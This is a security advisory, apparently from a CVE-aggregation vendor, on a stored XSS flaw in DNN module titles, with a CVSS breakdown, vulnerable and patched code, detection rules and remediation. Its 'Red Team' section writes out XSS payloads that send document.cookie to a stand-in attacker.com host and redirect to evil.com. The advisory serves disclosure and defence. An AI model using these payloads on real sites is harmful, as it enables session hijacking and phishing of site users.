CVE-2025-59546
Executive Summary
CVE-2025-59546 is a stored Cross-Site Scripting (XSS) vulnerability in DNN (formerly DotNetNuke), an open-source web content management platform for the Microsoft ecosystem. The vulnerability allows authenticated administrators and content editors to inject arbitrary JavaScript into module titles. When other users view pages containing these malicious titles, the injected script executes in their browser context. This issue is fully patched in DNN version 10.1.0. The CVSS score is 2.4 (Low), reflecting the high privileges required and the need for user interaction, but the risk is elevated in multi-tenant or shared hosting environments where untrusted editors exist.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It affects the DNN platform itself, which is typically deployed as a full web application. The primary supply chain risk is the use of outdated or unmaintained DNN installations. Administrators should ensure they are using the official DNN release from the DNN Corp website or GitHub repository and verify the integrity of the downloaded package.
CVSS Breakdown & Threat Level
- CVSS Score: 2.4 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network - The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low - No special conditions are required.
- Privileges Required (PR): High - An attacker must have administrator or content editor privileges.
- User Interaction (UI): Required - A victim must view the page with the malicious title.
- Scope (S): Unchanged - The vulnerability does not affect other components.
- Confidentiality (C): None - No direct data disclosure.
- Integrity (I): Low - The attacker can modify content or perform actions in the victim's session.
- Availability (A): None - No impact on system availability.
Threat Level: Low. The high privilege requirement significantly limits the attack surface. However, in environments with many editors or where privilege boundaries are weak, this could be used for privilege escalation or phishing.
Deep Dive & Mechanics
The vulnerability resides in the way DNN handles module titles. When an administrator or content editor creates or edits a module (e.g., a text/HTML module, a custom module), the title field is not properly sanitized. The application stores the title as provided, including HTML and JavaScript. When the page is rendered, the title is output without encoding, allowing the injected script to execute.
Root Cause: Insufficient output encoding of user-supplied data in the module title field. The application likely uses Response.Write() or a similar method without applying Server.HtmlEncode() or equivalent.
Attack Flow:
- An attacker with editor/administrator privileges logs into DNN.
- The attacker navigates to a page and adds or edits a module.
- In the "Module Title" field, the attacker enters a payload such as:
<img src=x onerror=alert('XSS')>or<script>alert('XSS')</script>. - The attacker saves the module.
- When any user (including other administrators or visitors) views the page, the malicious script executes in their browser.
Impact: The attacker can perform actions in the context of the victim's session, such as:
- Stealing session cookies.
- Redirecting to malicious sites.
- Defacing the page.
- Performing actions as the victim (e.g., creating new admin accounts if the victim is an admin).
Vulnerable vs. Patched Code
Vulnerable Code (Pre-10.1.0): The module title is rendered directly without encoding.
// Vulnerable: Direct output without encoding
Response.Write(moduleTitle);
Patched Code (10.1.0+): The module title is HTML-encoded before rendering.
// Patched: HTML-encode the title
Response.Write(HttpUtility.HtmlEncode(moduleTitle));
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a DNN instance with editor or administrator privileges.
- A page with a module that supports title editing (e.g., Text/HTML module).
Exploitation Steps:
- Log in to DNN as an editor or administrator.
- Navigate to a page and click "Add Module" or edit an existing module.
- In the "Module Title" field, enter a payload. Example:
<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> - Save the module.
- Wait for a victim to view the page. The script will execute and exfiltrate their cookies.
Alternative Payloads:
- Session hijacking:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script> - Phishing:
<script>window.location='https://evil.com/login'</script>
Blue Team
Detection Steps:
- Audit Module Titles: Query the DNN database for suspicious titles.
SELECT ModuleID, Title FROM Modules WHERE Title LIKE '%<script%' OR Title LIKE '%onerror%' OR Title LIKE '%onload%'; - Monitor Logs: Check web server logs for unusual requests to module edit pages.
- Review User Activity: Look for editors or admins creating modules with unusual titles.
Hunting Queries:
- Search for
ModuleTitlecontaining HTML tags in DNN logs. - Monitor for
X-XSS-Protectionheader bypass attempts.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound connections to unknown or malicious domains from the DNN server.
- HTTP requests containing
document.cookiein the query string.
- Host IOCs:
- Module titles in the DNN database containing
<script>,<img onerror>, or similar tags. - Unexpected JavaScript files in the DNN
Portalsdirectory.
- Module titles in the DNN database containing
- File IOCs:
- Modified or new
.ascxor.aspxfiles in the DNN installation.
- Modified or new
- Log IOCs:
- Web server logs showing
POSTrequests to/Admin/Modules/EditModulewith suspiciousTitleparameters.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_59546_DNN_XSS {
meta:
description = "Detects stored XSS payloads in DNN module titles"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-59546"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /<[^>]+onerror\s*=[^>]*>/is
$xss3 = /<[^>]+onload\s*=[^>]*>/is
$xss4 = /javascript\s*:/is
condition:
any of ($xss*)
}
Sigma Rule
title: DNN Stored XSS in Module Titles
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2025-59546 by injecting XSS payloads into DNN module titles.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/Admin/Modules/EditModule'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in module titles (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59546 DNN Stored XSS Payload in Module Title"; flow:to_server,established; content:"POST"; http_method; content:"/Admin/Modules/EditModule"; http_uri; pcre:"/(<script|<[^>]+onerror|<[^>]+onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade DNN: Update to version 10.1.0 or later immediately.
- Restrict Editor Roles: If upgrade is not possible, limit the number of users with editor/administrator privileges.
- Web Application Firewall (WAF): Deploy a WAF rule to block XSS payloads in POST requests to module edit endpoints.
Long-Term Mitigations:
- Input Validation: Implement server-side validation to strip or encode HTML tags in module titles.
- Content Security Policy (CSP): Deploy a strict CSP header to mitigate the impact of XSS even if it occurs.
- Regular Audits: Periodically scan the DNN database for malicious content.
Workaround (if patching is delayed):
- Manually edit the DNN source code to add
Server.HtmlEncode()to the module title output. This is not recommended as it may break future updates.
Valters IT